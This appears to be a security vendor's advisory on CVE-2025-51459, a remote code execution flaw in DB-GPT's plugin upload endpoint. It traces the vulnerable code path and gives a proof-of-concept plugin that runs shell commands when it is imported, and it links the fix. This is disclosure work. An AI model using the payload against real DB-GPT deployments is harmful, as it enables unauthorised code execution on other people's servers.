Skip to content
CVE-2025-51459: DB-GPT RCE in DB-GPT Plugin Upload System

CVE-2025-51459: DB-GPT RCE in DB-GPT Plugin Upload System

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.Artemiy Malyshau· Co-founder & CTO2 min read

Key takeaways

  • An RCE was found in the plugin upload functionality through the /v1/personal/agent/upload endpoint.
  • The attack can be triggered through a single HTTP request to the /v1/personal/agent/upload endpoint, requires no special permissions or authentication beyond access to the endpoint, and code execution happens silently during the plugin loading process, even if plugin validation eventually fails.

Description#

An RCE was found in the plugin upload functionality through the /v1/personal/agent/upload endpoint. While basic controls are in place for filename sanitization and path traversal prevention via _sanitize_filename(), there is no validation of the actual plugin code content. An attacker can upload a malicious Python file that passes the filename checks but contains arbitrary code. This code will be executed when the plugin is loaded through scan_plugins() during the refresh_plugins() call. The vulnerability is exploitable remotely through the FastAPI endpoint.

Source - Sink Analysis#

  1. Source: personal_agent_upload() in packages/dbgpt-serve/src/dbgpt_serve/agent/hub/controller.py
  • Entry point accepting user file upload pythonCopy<code class=“hljs language-python”><span class=“hljs-meta”>@router.post(<span class=“hljs-params”><span class=“hljs-string”>“/v1/personal/agent/upload”</span>, response_model=Result[<span class=“hljs-built_in”>str</span>]</span>)</span> </code>
  1. Intermediate: _sanitize_filename() in packages/dbgpt-serve/src/dbgpt_serve/agent/hub/plugin_hub.py
  • Sanitizes filename but does not validate code content: pythonCopy<code class=“hljs language-python”>safe_filename = <span class=“hljs-variable language_“>self</span>._sanitize_filename(doc_file.filename) </code>
  1. Intermediate: scan_plugins() in packages/dbgpt-core/src/dbgpt/agent/resource/tool/autogpt/plugins_util.py
  • Loads and executes plugin code during import: pythonCopy<code class=“hljs language-python”>my_plugins = scan_plugins(<span class=“hljs-variable language_“>self</span>.plugin_dir, safe_filename) </code>
  1. Sink: refresh_plugins() in packages/dbgpt-serve/src/dbgpt_serve/agent/hub/controller.py
  • Executes loaded plugin code through AutoGPTPluginToolPack: pythonCopy<code class=“hljs language-python”>module_plugin.refresh_plugins() </code>

Proof of Concept:#

The attack can be triggered through a single HTTP request to the /v1/personal/agent/upload endpoint, requires no special permissions or authentication beyond access to the endpoint, and code execution happens silently during the plugin loading process, even if plugin validation eventually fails.

Create malicious init.py with payload

<code class="hljs language-python">
<span class="hljs-comment"># code executes immediately upon import</span>
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> datetime
<span class="hljs-keyword">import</span> subprocess
<span class="hljs-keyword">import</span> socket

<span class="hljs-comment"># create evidence file</span>
timestamp = datetime.datetime.now().strftime(<span class="hljs-string">"%Y-%m-%d %H:%M:%S"</span>)
<span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">'/tmp/rce_${EXPLOIT_ID}.txt'</span>, <span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:
    f.write(<span class="hljs-string">f'RCE executed at <span class="hljs-subst">{timestamp}</span>\\n'</span>)
    f.write(<span class="hljs-string">f'Hostname: <span class="hljs-subst">{socket.gethostname()}</span>\\n'</span>)

<span class="hljs-comment"># execute commands with root privileges</span>
output = subprocess.check_output(<span class="hljs-string">'whoami && id && hostname'</span>, shell=<span class="hljs-literal">True</span>).decode(<span class="hljs-string">'utf-8'</span>)
<span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">'/tmp/rce_cmd_${EXPLOIT_ID}.txt'</span>, <span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:
    f.write(output)

<span class="hljs-keyword">from</span> auto_gpt_plugin_template <span class="hljs-keyword">import</span> AutoGPTPluginTemplate

<span class="hljs-keyword">class</span> <span class="hljs-title class_">ExploitPlugin</span>(<span class="hljs-title class_ inherited__">AutoGPTPluginTemplate</span>):
    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__init__</span>(<span class="hljs-params">self</span>):
        <span class="hljs-built_in">super</span>().__init__()
        <span class="hljs-variable language_">self</span>._name = <span class="hljs-string">"RCE-Demo"</span>
        <span class="hljs-variable language_">self</span>._version = <span class="hljs-string">"0.1.0"</span>
        <span class="hljs-variable language_">self</span>._description = <span class="hljs-string">"RCE demo"</span>
    
    <span class="hljs-keyword">def</span> <span class="hljs-title function_">can_handle_post_prompt</span>(<span class="hljs-params">self</span>):
        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>
        
    <span class="hljs-keyword">def</span> <span class="hljs-title function_">post_prompt</span>(<span class="hljs-params">self, prompt</span>):
        <span class="hljs-keyword">return</span> prompt
</code>

Impact#

Attackers can:

  • Execute arbitrary code with the privileges of the user running DB-GPT (default root in containerized deployments).
  • Access sensitive information such as system files, environment variables, and credentials.
  • Establish persistence on the target system and pivot to other systems within the victim’s network.

Fix: https://github.com/eosphoros-ai/DB-GPT/pull/2649

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.

Artemiy Malyshau

Co-founder & CTO

Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.

Frequently asked questions

Related content

The latest news, technologies, and resources from our team.

Subscribe to the Gecko Security newsletter

Occasional updates, new content, and insights. No spam; unsubscribe anytime.

We use your email only to send you our newsletter. See our privacy policy for how we handle your data. You can unsubscribe at any time.